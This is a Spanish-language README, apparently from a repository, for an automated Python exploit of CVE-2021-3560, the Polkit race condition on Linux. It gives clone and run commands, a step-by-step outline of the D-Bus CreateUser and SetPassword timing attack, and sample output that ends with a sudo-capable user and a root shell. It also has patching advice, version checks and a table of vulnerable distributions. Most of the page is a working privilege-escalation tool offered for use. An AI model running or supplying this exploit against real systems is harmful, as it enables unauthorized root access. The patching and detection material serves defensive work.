
Exploit para la vulnerabilidad CVE-2021-3560 de escalada de privilegios local en Polkit
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
Un exploit automatizado para la vulnerabilidad CVE-2021-3560 que afecta a PolicyKit (Polkit) en sistemas Linux.
⚠️ ADVERTENCIA: Esta herramienta está destinada únicamente a fines educativos y de formación en ciberseguridad en un entorno de laboratorio controlado. El uso no autorizado de este exploit en sistemas que no posees es ilegal.
CVE-2021-3560 es una vulnerabilidad local de condición de carrera en PolicyKit (polkit) que permite a un usuario sin privilegios obtener privilegios de root en sistemas Linux vulnerables.
La vulnerabilidad afecta a dos ramas de Polkit con una numeración de versiones diferente:
bfa5036 (versión 0.113)f81d021 (versión 0.105-26)📝 Nota: Los sistemas con parches de seguridad aplicados (p. ej., ubuntu1.1, deb10u1) no son vulnerables.
El exploit requiere las siguientes herramientas (se verifican automáticamente):
- dbus-send # To communicate with D-Bus
- pkexec # Part of PolicyKit
- id # To verify user creation
- openssl # To generate password hash
- accountsservice # Must be installed and active
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# Make the script executable
chmod +x CVE-2021-3560_Polkit.py
Comprueba si el sistema es vulnerable sin ejecutar el exploit:
python3 CVE-2021-3560_Polkit.py --check
Ejemplo de salida:
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
Crea un usuario privilegiado:
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
Ejemplo:
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help Show help
-u, --username Username to create
-p, --password Password for new user
-c, --check Check vulnerability without exploiting
El exploit aprovecha una condición de carrera en PolicyKit durante el procesamiento de solicitudes de D-Bus.
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement │
│ └─> Test execution to calibrate timing │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation │
│ └─> Send D-Bus CreateUser request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Verify if user created │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation │
│ └─> Using openssl passwd -6 │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting │
│ └─> Send D-Bus SetPassword request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Test login with password │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation │
│ └─> Login with created account │
│ └─> Use sudo if member of sudo group │
└─────────────────────────────────────────────────────────┘
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝
[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!
╔═══════════════════════════════════════════════════════════╗
║ EXPLOIT SUCCESSFUL! ║
╚═══════════════════════════════════════════════════════════╝
[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...
# 3. Get root
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)
Actualizar PolicyKit:
# Debian/Ubuntu
sudo apt update && sudo apt upgrade policykit-1
# RHEL/CentOS/Fedora
sudo yum update polkit
# or
sudo dnf update polkit
Comprobar la versión:
pkexec --version
# Must be >= 0.119 (upstream) or patched
Verificar los parches de seguridad:
# Debian/Ubuntu
apt-cache policy policykit-1
# RHEL/CentOS/Fedora
rpm -q --changelog polkit | grep CVE-2021-3560
El exploit depende de una condición de carrera, lo que significa:
Las siguientes versiones incluyen parches de seguridad y NO son vulnerables:
0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3, etc. (Ubuntu parcheado)0.105-26ubuntu2.1, 0.105-26ubuntu2.2, etc. (Ubuntu parcheado)0.105-31+deb11u1 (Debian 11 parcheado)polkit-0.115-11.el8_4.1 (RHEL 8 parcheado)Nota: Si tu sistema aparece como vulnerable pero el exploit falla con errores PermissionDenied, es probable que la versión esté parcheada. El exploit ahora detecta correctamente estas versiones parcheadas.
Si el exploit falla:
Comprueba la versión de Python (si obtienes TypeError: __init__() got an unexpected keyword argument 'capture_output'):
python3 --version
# Should be 3.6 or higher
# The script is compatible with Python 3.6+
Comprueba si la versión está parcheada:
pkexec --version
# If you see ubuntu1.X (where X > 0), it's patched
Comprueba accountsservice:
systemctl status accounts-daemon
Comprueba D-Bus:
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
Ejecuta desde SSH en lugar de la consola local
Ajusta la temporización modificando optimal_timing en el código
Seimu
Este proyecto está destinado únicamente a fines educativos. El uso de este código para actividades no autorizadas está estrictamente prohibido y puede dar lugar a acciones legales.
⚠️ Descargo de responsabilidad: el autor no se hace responsable del mal uso de esta herramienta. Úsala únicamente en entornos de prueba autorizados.
| Distribución | Versión de Polkit | ¿Vulnerable? |
|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ Sí |
| Ubuntu 18.04 | 0.105-20 | ❌ No |
| Debian testing "bullseye" | 0.105-31+ | ✅ Sí |
| Debian 10 "buster" | 0.105-25 | ❌ No |
| RHEL 8 | 0.115-11+ | ✅ Sí |
| RHEL 7 | < 0.113 | ❌ No |
| Fedora 21+ | 0.113+ | ✅ Sí |
| Fedora 20 y anteriores | < 0.113 | ❌ No |